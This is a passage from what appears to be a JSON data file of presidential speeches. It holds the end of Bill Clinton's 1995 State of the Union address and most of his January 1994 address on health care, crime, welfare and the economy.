ought to behave\nin dealing with one another.I want to finish up here by pointing out some folks that are up with the\nFirst Lady that represent what I'm trying to talk about. Citizens. I have\nno idea what their party affiliation is or who they voted for in the last\nelection, but they represent what we ought to be doing.Cindy Perry teaches second-graders to read in AmeriCorps in rural Kentucky.\nShe gains when she gives. She's a mother of four.She says that her service inspired her to get her high school equivalency\nlast year. She was married when she was a teen-ager. Stand up, Cindy. She\nmarried when she was a teen-ager. She had four children, but she had time\nto serve other people, to get her high school equivalency and she's going\nto use her AmeriCorps money to go back to college.Steven Bishop is the police chief of Kansas City. He's been a national\nleader--stand up Steve. He's been a national leader in using more police\nin community policing and he's worked with AmeriCorps to do it, and the\ncrime rate in Kansas City has gone down as a result of what he did.Cpl. Gregory Depestre went to Haiti as part of his adopted country's force\nto help secure democracy in his native land. And I might add we must be the\nonly country in the world that could have gone to Haiti and taken\nHaitian-Americans there who could speak the language and talk to the\npeople, and he was one of them and we're proud of him.The next two folks I've had the honor of meeting and getting to know a\nlittle bit. The Rev. John and the Rev. Diana Cherry of the A.M.E. Zion\nChurch in Temple Hills, Md. I'd like to ask them to stand. I want to tell\nyou about them. In the early 80's they left Government service and formed a\nchurch in a small living room in a small house in the early 80's. Today\nthat church has 17,000 members. It is one of the three or four biggest\nchurches in the entire United States. It grows by 200 a month.They do it together. And the special focus of their ministry is keeping\nfamilies together. They are--Two things they did make a big impression on\nme. I visited their church once and I learned they were building a new\nsanctuary closer to the Washington, D.C., line, in a higher-crime,\nhigher-drug-rate area because they thought it was part of their ministry to\nchange the lives of the people who needed them. Second thing I want to say\nis that once Reverend Cherry was at a meeting at the White House with some\nother religious leaders and he left early to go back to his church to\nminister to 150 couples that he had brought back to his church from all\nover America to convince them to come back together to save their marriages\nand to raise their kids. This is the kind of work that citizens are doing\nin America. We need more of it and it ought to be lifted up and supported.The last person I want to introduce is Jack Lucas from Hattiesburg,\nMississippi. Jack, would you stand up. Fifty years ago in the sands of Iwo\nJima, Jack Lucas taught and learned the lessons of citizenship. On February\nthe 20th, 1945, he and three of his buddies encountered the enemy and two\ngrenades at their feet. Jack Lucas threw himself on both of them. In that\nmoment he saved the lives of his companions and miraculously in the next\ninstant a medic saved his life. He gained a foothold for freedom and at the\nage of 17, just a year older than his grandson, who's up there with him\ntoday, and his son, who is a West Point graduate and a veteran, at 17, Jack\nLucas became the youngest marine in history and the youngest soldier in\nthis century to win the Congressional Medal of Honor. All these years\nlater, yesterday, here's what he said about that day: Didn't matter where\nyou were from or who you were. You relied on one another. You did it for\nyour country. We all gain when we give and we reap what we sow. That's at\nthe heart of this New Covenant. Responsibility, opportunity and\ncitizenship.More than stale chapters in some remote civic book they're still the virtue\nby which we can fulfill ourselves and reach our God-given potential and be\nlike them. And also to fulfill the eternal promise of this country, the\nenduring dream from that first and most-sacred covenant. I believe every\nperson in this country still believes that we are created equal and given\nby our creator the right to life, liberty and the pursuit of happiness.This is a very, very great country and our best days are still to come.\nThank you and God bless you all.", 
+    "name": "William J. Clinton"
+}
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+{
+    "date": "January 25, 1994", 
+    "speech": "Mr. Speaker, Mr. President, members of the 103rd Congress, my fellow\nAmericans:I am not sure what speech is in the TelePrompTer tonight, but I hope we can\ntalk about the State of the Union.I ask you to begin by recalling the memory of the giant who presided over\nthis chamber with such force and grace. Tip O'Neill liked to call himself\n\"A Man of the House\" and he surely was that. But even more, he was a man of\nthe people, a bricklayer's son who helped to build the great American\nmiddle class. Tip O'Neill never forgot who he was, where he came from, or\nwho sent him here. Tonight he's smiling down on us for the first time from\nthe Lord's gallery. But in his honor, may we too also remember who we are,\nwhere we come from, and who sent us here.If we do that we will return over and over again to the principle that if\nwe simply give ordinary people equal opportunity, quality education, and a\nfair shot at the American dream, they will do extraordinary things.We gather tonight in a world of changes so profound and rapid that all\nnations are tested. Our American heritage has always been to master such\nchange, to use it to expand opportunity at home, and our leadership abroad.\nBut for too long and in too many ways, that heritage was abandoned, and our\ncountry drifted.For 30 years family life in America has been breaking down. For 20 years\nthe wages of working people have been stagnant or declining. For the 12\nyears of trickle down economics we built a false prosperity on a hollow\nbase as our national debt quadrupled. From 1989 to 1992 we experienced the\nslowest growth in a half century. For too many families, even when both\nparents were working, the American dream has been slipping away.In 1992 the American people demanded that we change. I year ago I asked all\nof you to join me in accepting responsibility for the future of our\ncountry.Well, we did. We replaced drift and deadlock with renewal and reform. And I\nwant to thank every one of you here who heard the American people, who\nbroke gridlock, who gave them the most successful teamwork between a\npresident and a Congress in 30 years.AccomplishmentsThis Congress produced a budget that cut the deficit by half a trillion\ndollars, cut spending and raised income taxes on only the wealthiest\nAmericans. This Congress produced tax relief for millions of low-income\nworkers to reward work over welfare. It produced NAFTA. It produced the\nBrady bill, now the Brady law.And thank you, Jim Brady, for being here, and God bless you, Sarah. This\nCongress produced tax cuts to reduce the taxes of nine out of 10 small\nbusinesses who use the money to invest more and create more jobs. It\nproduced more research and treatment for AIDS, more childhood\nimmunizations, more support for women's health research, more affordable\ncollege loans for the middle class, a new national service program for\nthose who want to give something back to their country and their\ncommunities for higher education, a dramatic increase in high-tech\ninvestments to move us from a defense to a domestic high-tech economy. This\nCongress produced a new law--the motor voter bill--to help millions of\npeople register to vote. It produced family and medical leave--all passed,\nall signed into law, with not one single veto.These accomplishments were all commitments I made when I sought this\noffice, and in fairness, they all had to be passed by you in this Congress.\nBut I am persuaded that the real credit belongs to the people who sent us\nhere, who pay our salaries, who hold our feet to the fire. But what we do\nhere is really beginning to change lives. Let me just give you one\nexample.Family And Medical LeaveI will never forget what the family and medical leave law meant to just one\nfather I met early one Sunday morning in the White House. It was unusual to\nsee a family there touring early Sunday morning, but he had his wife and\nhis three children there, one of them in a wheelchair. And I came up, and\nafter we had our picture taken and had a little visit, I was walking off,\nand that man grabbed me by the arm and he said, \"Mr. President, let me tell\nyou something. My little girl here is desperately ill. She's probably not\ngoing to make it. But because of the family leave law, I was able to take\ntime off to spend with her, the most important I ever spent in my life,\nwithout losing my job and hurting the rest of my family. It means more to\nme than I will ever be able to say. Don't you people up here ever think\nwhat you do doesn't make a difference. It does.\"Though we are making a difference, our work has just begun. Many Americans\nstill haven't felt the impact of what we've done. The recovery still hasn't\ntouched every community or created enough jobs. Incomes are still stagnant.\nThere's still too much violence and not enough hope in too many places.Abroad, the young democracies we are strongly supporting still face very\ndifficult times and look to us for leadership.And so tonight, let us resolve to continue the journey of renewal, to\ncreate more and better jobs, to guarantee health security for all, to\nreward welfare--work over welfare, to promote democracy abroad and to\nbegin to reclaim our streets from violent crime and drugs and gangs to\nrenew our own American community.Deficit ReductionLast year, we began to put our house in order by tackling the budget\ndeficit that was driving us toward bankruptcy. We cut $255 billion in\nspending, including entitlements, in over 340 separate budget items. We\nfroze domestic spending and used honest budget numbers.Led by the vice president, we've launched a campaign to reinvent\ngovernment. We've cut staff, cut perks, even trimmed the fleet of federal\nlimousines. After years of leaders whose rhetoric attacked bureaucracy but\nwhose actions expanded it, we will actually reduce it by 252,000 people\nover the next five years. By the time we have finished, the federal\nbureaucracy will be at its lowest point in 30 years.Because the deficit was so large and because they benefited from tax cuts\nin the 1980s, we did ask the wealthiest Americans to pay more to reduce the\ndeficit. So on April the 15th, the American people will discover the truth\nabout what we did last year on taxes. Only the top one--the top 1.2\npercent of Americans, as I said all along, will face higher income tax\nrates--let me repeat, only the wealthiest 1.2 percent of Americans will\nface higher income tax rates and no one else will, and that is the truth.\nOf course, there were, as there always are in politics, naysayers who said\nthis plan wouldn't work, but they were wrong. When I became president, the\nexperts predicted that next year's deficit would be $300 billion, but\nbecause we acted, those same people now say the deficit's going to be under\n$180 billion, 40 percent lower than was previously predicted.The EconomyOur economic program has helped to produce the lowest core inflation rate\nand the lowest interest rates in 20 years, and because those interest rates\nare down, business investment and equipment is growing at seven times the\nrate of the previous four years. Auto sales are way up, home sales at a\nrecord high. Millions of Americans have refinanced their homes and our\neconomy has produced 1.6 million private-sector jobs in 1993, more than\nwere created in the previous four years combined.The people who supported this economic plan should be proud of its early\nresults--proud. But everyone in this chamber should know and acknowledge\nthat there is more to do. Next month I will send you one of the toughest\nbudgets ever presented to Congress. It will cut spending in more than 300\nprograms, eliminate 100 domestic programs, and reforms the way in which\ngovernments buy goods and services.This year we must again make the hard choices to live within the hard\nspending ceilings we have set. We must do it. We have proved we can bring\nthe deficit down without choking off recovery, without punishing seniors or\nthe middle class, and without putting our national security at risk. If you\nwill stick with this plan, we will post three consecutive years of\ndeclining deficits for the first time since Harry Truman lived in the White\nHouse. And once again, the buck stops here.TradeOur economic plan also bolsters our strength and our credibility around the\nworld. Once we reduced the deficit and put the steel back into our\ncompetitive edge, the world echoed with the sound of falling trade\nbarriers. In one year, with NAFTA, with GATT, with our efforts in Asia and\nthe national export strategy, we did more to open world markets to American\nproducts than at any time in the last two generations. That means more jobs\nand rising living standards for the American people, low deficits, low\ninflation, low interest rates, low trade barriers and high investments.\nThese are the building blocks of our recovery. But if we want to take full\nadvantage of the opportunities before us in the global economy, you all\nknow we must do more.As we reduce defense spending, I ask Congress to invest more in the\ntechnologies of tomorrow. Defense conversion will keep us strong militarily\nand create jobs for our people here at home.As we protect our environment, we must invest in the environmental\ntechnologies of the future which will create jobs. This year we will fight\nfor a revitalized Clean Water Act and a Safe Drinking Water Act and a\nreformed Superfund program.And the vice president is right; we must also work with the private sector\nto connect every classroom, every clinic, every library, every hospital in\nAmerica into a national information superhighway by the year 2000. Think of\nit. Instant access to information will increase productivity. It will help\nto educate our children. It will provide better medical care. It will\ncreate jobs. And I call on the Congress to pass legislation to establish\nthat information superhighway this year.As we expand opportunity and create jobs, no one can be left out. We must\ncontinue to enforce fair lending and fair housing and all civil rights\nlaws, because America will never be complete in its renewal until everyone\nshares in its bounty. But we all know, too, we can do all these things--\nput our economic house in order, expand world trade, target the jobs of the\nfuture, guarantee equal opportunity.But if we're honest, we'll all admit that this strategy still cannot work\nunless we also give our people the education, training and skills they need\nto seize the opportunities of tomorrow. We must set tough, world-class\nacademic and occupational standards for all our children and give our\nteachers and students the tools they need to meet them.EducationOur Goals 2000 proposal will empower individual school districts to\nexperiment with ideas like chartering their schools to be run by private\ncorporations or having more public school choice, to do whatever they wish\nto do as long as we measure every school by one high standard: Are our\nchildren learning what they need to know to compete and win in the global\neconomy?Goals 2000 links world-class standards to grassroots reforms and I hope\nCongress will pass it without delay. Our school to work initiative will for\nthe first time link school to the world of work, providing at least one\nyear of apprenticeship beyond high school. After all, most of the people\nwe're counting on to build our economic future won't graduate from college.\nIt's time to stop ignoring them and start empowering them. We must\nliterally transform our outdated unemployment system into a new\nreemployment system. The old unemployment system just sort of kept you\ngoing while you waited for your old job to come back. We've got to have a\nnew system to move people into new and better jobs because most of those\nold jobs just don't come back. And we know that the only way to have real\njob security in the future, to get a good job with a growing income, is to\nhave real skills and the ability to learn new ones. So we've got to\nstreamline today's patchwork of training programs and make them a source of\nnew skill for our people who lose their jobs. Reemployment, not\nunemployment, must become the centerpiece of our economic renewal. I urge\nyou to pass it in this session of Congress.WelfareAnd just as we must transform our unemployment system, so must we also\nrevolutionize our welfare system. It doesn't work; it defies our values as\na nation. If we value work, we can't justify a system that makes welfare\nmore attractive than work if people are worried about losing their health\ncare.If we value responsibility, we can't ignore the $34 billion in child\nsupport absent parents out to be paying to millions of parents who are\ntaking care of their children--. If we value strong families, we can't\nperpetuate a system that actually penalizes those who stay together. Can\nyou believe that a child who has a child gets more money from the\ngovernment for leaving home than for staying home with a parent or a\ngrandparent? That's not just bad policy, it's wrong and we ought to change\nit.I worked on this problem for years before I became president, with other\ngovernors and with members of Congress in both parties and with the\nprevious administration of another party. I worked on it with people who\nwere on welfare, lots of them. And I want to say something to everybody\nhere who cares about this issue. The people who most want to change this\nsystem are the people who are dependent on it. They want to get off\nwelfare; they want to go back to work; they want to do right by their\nkids.I once had a hearing when I was a governor and I brought in people on\nwelfare from all over America who had found their way to work and a woman\nfrom my state who testified was asked this question. What's the best thing\nabout being off welfare and in a job. And without blinking an eye, she\nlooked at 40 governors and she said, when my boy goes to school and they\nsay \"What does your mother do for a living?\" he can give an answer. These\npeople want a better system and we ought to give it to them.Last year, we began this. We gave the states more power to innovate because\nwe know that a lot of great ideas come from outside Washington and many\nstates are already using it. Then this Congress took a dramatic step.\nInstead of taxing people with modest incomes into poverty, we helped them\nto work their way out of poverty by dramatically increasing the earned\nincome tax credit. It will lift 15 million working families out of poverty,\nrewarding work over welfare, making it possible for people to be successful\nworkers and successful parents. Now that's real welfare reform.But there is more to be done. This spring I will send you a comprehensive\nwelfare reform bill that builds on the Family Support Act of 1988 and\nrestores the basic values of work and responsibility. We will say to\nteenagers if you have a child out of wedlock, we'll no longer give you a\ncheck to set up a separate household, we want families to stay together;\nsay to absent parents who aren't paying their child support if you're not\nproviding for your children we'll garnish your wages, suspend your license,\ntrack you across state lines, and if necessary make some of you work off\nwhat you owe.People who bring children into this world cannot and must not walk away\nfrom them.But to all those who depend on welfare, we should offer ultimately a simple\ncompact. We will provide the support, the job training, the child care you\nneed for up to two years, but after that anyone who can work, must, in the\nprivate sector wherever possible, in community service if necessary. That's\nthe only way we'll ever make welfare what it ought to be, a second chance,\nnot a way of life.I know it will be difficult to tackle welfare reform in 1994 at the same\ntime we tackle health care. But let me point out, I think it is inevitable\nand imperative. It is estimated that one million people are on welfare\ntoday because it's the only way they can get health care coverage for their\nchildren. Those who choose to leave welfare for jobs without health\nbenefits, and many entry level jobs don't have health benefits, find\nthemselves in the incredible position of paying taxes that help to pay for\nhealth care coverage for those who made the other choice, to stay on\nwelfare. No wonder people leave work and go back to welfare, to get health\ncare coverage. We've got to solve the health care problem to have real\nwelfare reform.Health Care ReformSo this year we will make history by reforming the health care system. And\nI would say to you, all of you my fellow public servants, this is another\nissue where the people are way ahead of the politicians.That may not be popular with either party, but it happens to be the truth.You know, the first lady has received now almost a million letters from\npeople all across America and from all walks of life. I'd like to share\njust one of them with you. Richard Anderson of Reno, Nevada, lost his job\nand, with it, his health insurance. Two weeks later, his wife, Judy,\nsuffered a cerebral aneurysm. He rushed her to the hospital, where she\nstayed in intensive care for 21 days. The Anderson's bills were over\n$120,000. Although Judy recovered and Richard went back to work at $8 an\nhour, the bills were too much for them and they were literally forced into\nbankruptcy.\"Mrs. Clinton,\" he wrote to Hillary, \"no one in the United States of\nAmerica should have to lose everything they've worked for all their lives\nbecause they were unfortunate enough to become ill.\" It was to help the\nRichard and Judy Andersons of America that the first lady and so many\nothers have worked so hard and so long on this health care reform issue. We\nowe them our thanks and our action.I know there are people here who say there's no health care crisis. Tell it\nto Richard and Judy Anderson. Tell it to the 58 million Americans who have\nno coverage at all for some time each year. Tell it to the 81 million\nAmericans with those preexisting conditions; those folks are paying more or\nthey can't get insurance at all or they can't ever change their jobs\nbecause they or someone in their family has one of those preexisting\nconditions. Tell it to the small businesses burdened by skyrocketing costs\nof insurance. Most small businesses cover their employers, and they pay on\naverage 35 percent more in premiums than big businesses or government. Or\ntell it to the 76 percent of insured Americans, three out of four whose\npolicies have lifetime limits, and that means they can find themselves\nwithout any coverage at all just when they need it the most.So, if any of you believe there's no crisis, you tell it to those people,\nbecause I can't.There are some people who literally do not understand the impact of this\nproblem on people's lives, but all you have to do is go out and listen to\nthem. Just go talk to them anywhere, in any congressional district in this\ncountry. They're Republicans and Democrats and independents. It doesn't\nhave a lick to do with party. They think we don't get it, and it's time we\nshow that we do get it.From the day we began, our health care initiative has been designed to\nstrengthen what is good about our health care system--the world's best\nhealth care professionals, cutting edge research, and wonderful research\ninstitutions, Medicare for older Americans. None of this--none of it\nshould be put at risk. But we're paying more and more money for less and\nless care. Every year, fewer and fewer Americans even get to choose their\ndoctors. Every year, doctors and nurses spend more time on paperwork and\nless time with patients because of the absolute bureaucratic nightmare the\npresent system has become.This system is riddled with inefficiency, with abuse, with fraud, and\neverybody knows it. In today's health care system, insurance companies call\nthe shots. They pick whom they cover and how they cover them. They can cut\noff your benefits when you need your coverage the most. They are in\ncharge.What does it mean? It means every night millions of well-insured Americans\ngo to bed just an illness, an accident, or a pink slip away from having no\ncoverage or financial ruin. It means every morning millions of Americans go\nto work without any health insurance at all--something the workers in no\nother advanced country in the world do. It means that every year more and\nmore hard working people are told to pick a new doctor because their boss\nhas had to pick a new plan. And countless others turndown better jobs\nbecause they know, if they take the better job, they'll lose their health\ninsurance.If we just let the health care system continue to drift, our country will\nhave people with less care, fewer choices, and higher bill.Now, our approach protects the quality of care and people's choices. It\nbuilds on what works today in the private sector, to expand employer based\ncoverage, to guarantee private insurance for every American. And I might\nsay, employer based private insurance for every American was proposed 20\nyears ago by President Richard Nixon to the United States Congress. It was\na good idea then, and it's a better idea today.Why do we want guaranteed private insurance? Because right now, nine out of\nten people who have insurance get it through their employers--and that\nshould continue. And if your employer is providing good benefits at\nreasonable prices, that should continue too. And that ought to make the\nCongress and the president feel better. Our goal is health insurance\neverybody can depend on--comprehensive benefits that cover preventive care\nand prescription drugs, health premiums that don't just explode when you\nget sick or you get older, the power--no matter how small your business is\n--to choose dependable insurance at the same competitive rates that\ngovernments and big business get today, one simple form for people who are\nsick, and most of all, the freedom to choose a plan and the right to choose\nyour own doctor.Our approach protects older Americans. Every plan before the Congress\nproposes to slow the growth of Medicare. The difference is this. We believe\nthose savings should be used to improve health care for senior citizens.\nMedicare must be protected, and it should cover prescription drugs, and we\nshould take the first steps in covering long-term care.To those who would cut Medicare without protecting seniors, I say the\nsolution to today's squeeze on middle class working people's health care is\nnot to put the squeeze on middle class retired people's health care. We can\ndo better than that. When it's all said and done, it's pretty simple to me.\nInsurance ought to mean what it used to mean. You pay a fair price for\nsecurity, and when you get sick, health care is always there--no matter\nwhat.Along with the guarantee of health security, we all have to admit, too,\nthere must be more responsibility on the part of all of us in how we use\nthis system. People have to take their kids to get immunized. We should all\ntake advantage of preventive care. We must all work together to stop the\nviolence that explodes our emergency rooms. We have to practice better\nhealth habits, and we can't abuse the system. And those who don't have\ninsurance under our approach will get coverage, but they will have to pay\nsomething for it, too. The minority of businesses that provide no insurance\nat all, and in so doing, shift the cost of the care of their employees to\nothers, should contribute something. People who smoke should pay more for a\npack of cigarettes. Everybody can contribute something if we want to solve\nthe health care crisis. There can't be anymore something for nothing. It\nwill not be easy, but it can be done. Now in the coming months I hope very\nmuch to work with both Democrats and Republicans to reform a health care\nsystem by using the market to bring down costs and to achieve lasting\nhealth security. But if you look at history, we see that for 60 years this\ncountry has tried to reform health care. President Roosevelt tried,\nPresident Truman tried, President Nixon tried, President Carter tried.\nEvery time the special interests were powerful enough to defeat them, but\nnot this time.Campaign Finance ReformI know that facing up to these interests will require courage. It will\nraise critical questions about the way we finance our campaigns and how\nlobbyists yield their influence. The work of change, frankly, will never\nget any easier until we limit the influence of well financed interests who\nprofit from this current system. So I also must now call on you to finish\nthe job both houses began last year, by passing tough and meaningful\ncampaign finance reform and lobby reform legislation this year.You know, my fellow Americans, this is really a test for all of us. The\nAmerican people provide those of us in government service with terrific\nhealth care benefits at reasonable costs. We have health care that's always\nthere. I think we need to give every hard working, taxpaying American the\nsame health care security they have already given to us.I want to make this very clear: I am open, as I have said repeatedly, to\nthe best ideas of concerned members of both parties. I have no special\nbrief for any specific approach, even in our own bill, except this: if you\nsend me legislation that does not guarantee every American private health\ninsurance that can never be taken away, you will force me to take this pen,\nveto the legislation, and we'll come right back here and start all over\nagain.But I don't think that's going to happen. I think we're ready to act now. I\nbelieve that you're ready to act now. And if you're ready to guarantee\nevery American the same health care that you have, health care that can\nnever be taken away--now, not next year or the year after, now is the time\nto stand with the people who sent us here. Now.Foreign PolicyAs we take these steps together to renew our strength at home, we cannot\nturn away from our obligations to renew our leadership abroad. This is a\npromising moment. Because of the agreements we have reached this year, last\nyear, Russia's strategic nuclear missiles soon will no longer be pointed at\nthe United States. Nor will we point ours at them.Instead of building weapons in space, Russian scientists will help us to\nbuild the international space station.And of course there are still dangers in the world: rampant arms\nproliferation, bitter regional conflicts, ethnic and nationalist tensions\nin many new democracies, severe environmental degradation the world over,\nand fanatics who seek to cripple the world's cities with terror. As the\nworld's greatest power, we must therefore maintain our defenses and our\nresponsibilities. This year we secured indictments against terrorists and\nsanctions against those harbor them. We worked to promote\nenvironmentally-sustainable economic growth. We achieved agreements with\nUkraine, with Belarus, with Kazakhstan, to eliminate completely their\nnuclear arsenals. We are working to achieve a Korean Peninsula free of\nnuclear weapons. We will seek early ratification of the treaty to ban\nchemical weapons worldwide. And earlier today we joined with over 30\nnations to begin negotiations on a comprehensive ban to stop all nuclear\ntesting.But nothing--nothing--is more important to our security than our nation's\narmed forces. We honor their contributions, including those who are\ncarrying out the longest humanitarian airlift in history in Bosnia----\nthose who will complete their mission in Somalia this year and their brave\ncomrades who gave their lives there. Our forces are the finest military our\nnation has ever had, and I have pledged that as long as I am president they\nwill remain the best-equipped, the best-trained and the best-prepared\nfighting force on the face of the earth.DefenseLast year, I proposed a defense plan that maintains our post-Cold War\nsecurity at a lower cost. This year, many people urged me to cut our\ndefense spending further to pay for other government programs. I said no.\nThe budget I send to Congress draws the line against further defense cuts.\nIt protects the readiness and quality of our forces. Ultimately, the best\nstrategy is to do that. We must not cut defense further. I hope the\nCongress without regard to party will support that position.Ultimately, the best strategy to ensure our security and to build a durable\npeace is to support the advance of democracy elsewhere. Democracies don't\nattack each other. They make better trading partners and partners in\ndiplomacy. That is why we have supported, you and I, the democratic\nreformers in Russia and in the other states of the former Soviet bloc. I\napplaud the bipartisan support this Congress provided last year for our\ninitiatives to help Russia, Ukraine and the other states through their epic\ntransformations.Our support of reform must combine patience for the enormity of the task\nand vigilance for our fundamental interest and values. We will continue to\nurge Russia and the other states to press ahead with economic reforms, and\nwe will seek to cooperate with Russia to solve regional problems while\ninsisting that, if Russian troops operate in neighboring states, they do so\nonly when those states agree to their presence and in strict accord with\ninternational standards.But we must also remember as these nations chart their own futures, and\nthey must chart their own futures, how much more secure and more prosperous\nour own people will be if democratic and market reform succeed all across\nthe former communist bloc. Our policy has been to support that move and\nthat has been the policy of the Congress. We should continue it.EuropeThat is why I went to Europe earlier this month, to work with our European\npartners to help to integrate all the former communist countries into a\nEurope that has the possibility of becoming unified for the first time in\nits entire history, it's entire history, based on the simple commitments of\nall nations in Europe to democracy, to free markets, and to respect for\nexisting borders.With our allies, we have created a partnership for peace that invites\nstates from the former Soviet bloc and other non-NATO members to work with\nNATO in military cooperation. When I met with Central Europe's leaders,\nincluding Lech Walesa and Vaclav Havel, men who put their lives on the line\nfor freedom, I told them that the security of their region is important to\nour country's security.This year, we must also do more to support democratic renewal and human\nrights and sustainable development all around the world. We will ask\nCongress to ratify the new GATT accord, we will continue standing by South\nAfrica as it works its way through its bold and hopeful and difficult\ntransition to democracy. We will convene a summit of the Western\nhemisphere's democratic leaders from Canada to the tip of South America.\nAnd we will continue to press for the restoration of true democracy in\nHaiti.And as we build a more constructive relationship with China, we must\ncontinue to insist on clear signs of improvement in that nation's human\nrights record.Middle EastWe will also work for new progress toward the Middle East peace. Last year\nthe world watched Yitzhak Rabin and Yasir Arafat at the White House when\nthey had their historic handshake of reconciliation. But there is a long,\nhard road ahead. And on that road I am determined that I and our\nadministration will do all we can to achieve a comprehensive and lasting\npeace for all the peoples of the region.Now, there are some in our country who argue that with the Cold War,\nAmerica should turn its back on the rest of the world. Many around the\nworld were afraid we would do just that. But I took this office on a pledge\nthat had no partisan tinge to keep our nation secure by remaining engaged\nin the rest of the world. And this year, because of our work together,\nenacting NAFTA, keeping our military strong and prepared, supporting\ndemocracy abroad, we have reaffirmed America's leadership, America's\nengagement, and as a result, the American people are more secure than they\nwere before.CrimeBut while Americans are more secure from threats abroad, I think we all now\nthat in many ways we are less secure from threats here at home. Everyday\nthe national peace is shattered by crime.In Petaluma, California, an innocent slumber party gives way to agonizing\ntragedy for the family of Polly Klaas. An ordinary train ride on Long\nIsland ends in a hail of nine millimeter rounds. A tourist in Florida is\nnearly burned alive by bigots simply because he is black. Right here in our\nnation's capital, a brave young man named Jason White, a policeman, the son\nand grandson of policemen, is ruthlessly gunned down.Violent crime and the fear it provokes are crippling our society, limiting\npersonal freedom, and fraying the ties that bind us.The crime bill before Congress gives you a chance to do something about it,\na chance to be tough and smart. What does that mean? Let me begin by saying\nI care a lot about this issue. Many years ago, when I started out in public\nlife, I was the attorney general of my state. I served as a governor for a\ndozen years. I know what it's like to sign laws increasing penalties, to\nbuild more prison cells, to carry out the death penalty. I understand this\nissue and it is not a simple thing.First, we must recognize that most violent crimes are committed by a small\npercentage of criminals who too often break the laws even when they are on\nparole. Now those who commit crimes should be punished, and those who\ncommit repeated violent crimes should be told when you commit a third\nviolent crime, you will be put away and put away for good, three strikes\nand you are out.Second, we must take serious steps to reduce violence and prevent crime,\nbeginning with more police officers and more community policing. We know\nright now that police who work the streets, know the folks, have the\nrespect of the neighborhood kids, focus on high crime areas, we know that\nthey are more likely to prevent crime as well as catch criminals. Look at\nthe experience of Houston, where the crime rate dropped 17 percent in one\nyear when that approach was taken. Here tonight is one of those community\npolicemen, a brave, young detective, Kevin Jett, whose beat is eight square\nblocks in one of the toughest neighborhoods in New York. Every day he\nrestores some sanity and safety, and a sense of values and connection to\nthe people whose lives he protects. I'd like to ask him to stand up and be\nrecognized tonight.You will be given a chance to give the children of this country, the law\nabiding working people of this country, and don't forget, in the toughest\nneighborhoods in this country, in the highest crime neighborhoods in this\ncountry the vast majority of people get up every day and obey the law, pay\ntheir taxes, do their best to raise their kids. They deserve people like\nKevin Jett, and you're going to be given the chance to give the American\npeople another 100,000 of them, well trained, and I urge you to do it.You have before you crime legislation which also establishes a police corps\nto encourage young people to get an education, and pay it off by serving as\npolice officers, which encourages retiring military personnel to move into\npolice forces--and enormous resources for our country, one which has a\nsafe schools provisions which will give our young people the chance to walk\nto school in safety and to be in school in safety instead of dodging\nbullets. These are important things.The third thing we have to do is to build on the Brady Bill--the Brady Law\nto take further steps----to take further steps to keep guns out of the\nhands of criminals.Now, I want to say something about this issue. Hunters must always be free\nto hunt, law abiding adults should always be free to own guns and protect\ntheir homes. I respect that part of our culture. I grew up in it. But I\nwant to ask the sportsmen and others who lawfully own guns to join us in\nthis campaign to reduce gun violence. I say to you, I know you didn't\ncreate this problem, but we need your help to solve it. There is no\nsporting purpose on earth that should stop the United States Congress from\nbanishing assault weapons that outgun police and cut down children.Fourth, we must remember that drugs are a factor in an enormous percentage\nof crimes. Recent studies indicate, sadly, that drug use is on the rise\nagain among our young people. The Crime Bill contains--all the crime bills\ncontain--more money for drug treatment, for criminal addicts, and boot\ncamps for youthful offenders that include incentives to get off drugs and\nto stay off drugs. Our administration's budget, with all its cuts, contains\na large increase in funding for drug treatment and drug education. You must\npass them both. We need then desperately.My fellow Americans, the problem of violence is an un-American problem. It\nhas no partisan or philosophical element. Therefore, I urge you find ways\nas quickly as possible to set aside partisan differences and pass a strong,\nsmart, tough crime bill.But further, I urge you to consider this: As you demand tougher penalties\nfor those who choose violence, let us also remember how we came to this sad\npoint. In our toughest neighborhoods, on our meanest streets, in our\npoorest rural areas, we have seen a stunning and simultaneous breakdown of\ncommunity, family, and work, the heart and soul of civilized society. This\nhas created a vast vacuum which has been filled by violence and drugs and\ngangs. So I ask you to remember that even as we say no to crime, we must\ngive people, especially our young people something to say yes to. Many of\nour initiatives, from job training to welfare reform to health care to\nnational service will help to rebuild distressed communities, to strengthen\nfamilies, to provide work, but more needs to be done. That's what our\ncommunity empowerment agenda is all about--challenging businesses to\nprovide more investment through empowerment zones, ensuring banks will make\nloans in the same communities their deposits come from, passing legislation\nto unleash the power of capital through community development banks to\ncreate jobs, opportunity, and hope where they're needed most.But I think you know that to really solve this problem, we'll all have to\nput our heads together, leave our ideological armor aside, and find some\nnew ideas to do even more.The Role Of GovernmentAnd let's be honest, we all know something else, too. Our problems go way\nbeyond the reach of government. They're rooted in the loss of values and\nthe disappearance of work and the breakdown of our families and our\ncommunities. My fellow Americans, we can cut the deficit, create jobs,\npromote democracy around the world, pass welfare reform and health care,\npass the toughest crime bill in history and still leave too many of our\npeople behind.The American people have got to want to change from within if we're going\nto bring back work and family and community. We cannot renew our country\nwhen, within a decade, more than half of the children will be born into\nfamilies where there has been no marriage. We cannot renew this country\nwhen 13-year-old boys get semi-automatic weapons to shoot 9 year olds for\nkicks. We can't renew our country when children are having children and the\nfathers walk away as if the kids don't amount to anything. We can't renew\nthe country when our businesses eagerly look for new investments and new\ncustomers abroad but ignore those people right here at home who'd give\nanything to have their jobs and would gladly buy their products if they had\nthe money to do it.We can't renew our country unless more of us--I mean all of us--are\nwilling to join the churches and the other good citizens, people like all\nthe black ministers I've worked with over the years or the priests and the\nnuns I met at Our Lady of Help in East Los Angeles or my good friend Tony\nCampolo in Philadelphia, unless we're willing to work with people like\nthat, people who are saving kids, adopting schools, making streets safer.\nAll of us can do that.We can't renew our country until we realize that governments don't raise\nchildren; parents do. Parents who know their children's teachers and turn\noff the television and help with the homework and teach their kids right\nfrom wrong--those kind of parents can make all the difference. I know. I\nhad one. And I'm telling you we have got to stop pointing our fingers at\nthese kids who have no future and reach our hands out to them. Our country\nneeds it. We need it. And they deserve it.And so I say to you tonight let's give our children a future. Let us take\naway their guns and give them books. Let us overcome their despair and\nreplace it with hope. Let us, by our example, teach them to obey the law,\nrespect our neighbors, and cherish our values. Let us weave these sturdy\nthreads into a new American community that once more stand strong against\nthe forces of despair and evil because everybody has a chance to walk into\na better tomorrow.Oh, there will be naysayers who fear that we won't be equal to the\nchallenges of this time, but they misread our history, our heritage, even\ntoday's headlines. All those things tell us we can and we will overcome any\nchallenge.When the earth shook and fires raged in California; when I saw the\nMississippi deluge the farmlands of the Midwest in a 500 year flood; when\nthe century's bitterest cold swept from North Dakota to Newport News it\nseemed as though the world itself was coming apart at the seams. But the\nAmerican 